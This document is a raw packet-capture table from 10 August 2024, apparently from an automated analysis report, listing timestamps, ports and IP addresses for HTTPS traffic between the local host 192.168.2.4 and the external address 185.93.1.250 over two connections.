Aug 10, 2024 19:10:02.641768932 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.642985106 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643059015 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643073082 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643093109 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643127918 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643157005 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643210888 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643256903 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643263102 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643304110 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643361092 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.643415928 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643655062 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.643671036 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:05.945029974 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:05.945118904 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:05.945218086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:05.951009035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:05.951059103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.641913891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.642115116 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.643367052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.643419027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.643767118 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.650645018 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.696511030 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.793416023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.797940969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.797996044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.798157930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.798158884 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.798223019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.798293114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.886260033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.886327028 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.886413097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.886413097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.886486053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.886564016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.891066074 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.891132116 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.891163111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.891228914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.891267061 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.941701889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.977808952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.977894068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.978051901 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.978115082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.978205919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.978245974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.978482008 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.978540897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.979680061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.979737997 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.979763031 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.979783058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.979821920 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.981127977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.981169939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.981199980 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.981214046 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.981245041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.983802080 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.983843088 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.983875036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:06.983886957 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:06.983915091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.035567999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.070384979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.070444107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.070604086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.070604086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.070667028 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.070717096 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.070998907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071043015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071225882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.071227074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.071289062 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071337938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.071577072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071645021 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071779966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.071779966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.071842909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.071899891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.072065115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.072112083 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.072145939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.072160959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.072180986 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.072207928 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.075500011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.075544119 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.075721979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.075721979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.075784922 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.075839996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076036930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076082945 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076244116 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076244116 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076307058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076364994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076477051 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076540947 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076558113 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076572895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.076600075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.076621056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.077300072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.162725925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.162791014 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.162939072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.162986040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.162986040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.163053036 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.163120985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.163142920 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.163436890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.163485050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.163642883 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.163644075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.163703918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164139032 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164235115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164329052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.164329052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.164391994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164711952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164768934 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.164921999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.164921999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.164988041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.165627956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.165678024 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.165712118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.165733099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.165759087 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.168231964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.168272972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.168322086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.168334961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.168366909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.168731928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.168801069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.168947935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.168947935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.169011116 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.223042965 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256243944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256303072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256418943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256472111 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256469011 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256469011 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256563902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256628990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256628990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256805897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256844997 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256875038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256891966 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.256927013 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.256947041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.257873058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.257939100 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.258085012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.258085012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.258124113 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.258157969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.258187056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.258196115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.258208036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.258276939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.258526087 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.258527040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.259994030 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260060072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260082006 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.260118961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260153055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.260179043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.260663033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260704994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260737896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.260751009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.260780096 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.260801077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.261087894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.261137009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.261158943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.261172056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.261203051 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.261220932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.347631931 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.347700119 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.347860098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.347860098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.347923040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.347970963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.348012924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.348012924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.348032951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.348057985 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.348136902 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.348136902 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.348841906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.348897934 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349049091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349049091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349050045 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349059105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349104881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349143982 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349159956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349165916 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349183083 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349231958 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349231958 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349659920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349714041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349848032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349848032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349848032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.349912882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.349973917 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.350593090 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.350639105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.350666046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.350681067 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.350712061 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.350734949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353147984 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353199959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353224993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353238106 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353266954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353287935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353564024 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353626013 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353728056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353729010 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.353791952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.353856087 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.440602064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.440663099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.440819025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.440835953 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.440835953 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.440880060 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.440888882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.440912008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.440948009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.441154003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.441195965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.441350937 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.441351891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.441415071 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.441890001 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.441957951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.442081928 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.442082882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.442156076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.442712069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.442765951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.442828894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.442828894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.442853928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.443110943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.443161011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.443185091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.443197012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.443238020 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.445533991 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.445576906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.445611954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.445625067 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.445653915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.445980072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.446032047 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.446213007 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.446228027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.488734007 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.532774925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.532831907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533054113 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533054113 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533114910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533210039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533535004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533596039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533724070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533724070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533756018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533797979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533848047 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533859015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533859015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533910990 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.533950090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.533973932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534586906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534656048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534676075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534689903 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534732103 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534732103 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534841061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534892082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534925938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534935951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.534965038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.534981966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.535440922 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.535486937 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.535507917 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.535520077 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.535562038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.535944939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.537861109 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.537911892 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.537956953 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.537972927 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.538002014 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.538022041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.538336992 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.538398981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.538419008 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.538429976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.538467884 CEST	49734	443	192.168.2.4	185.93.1.250
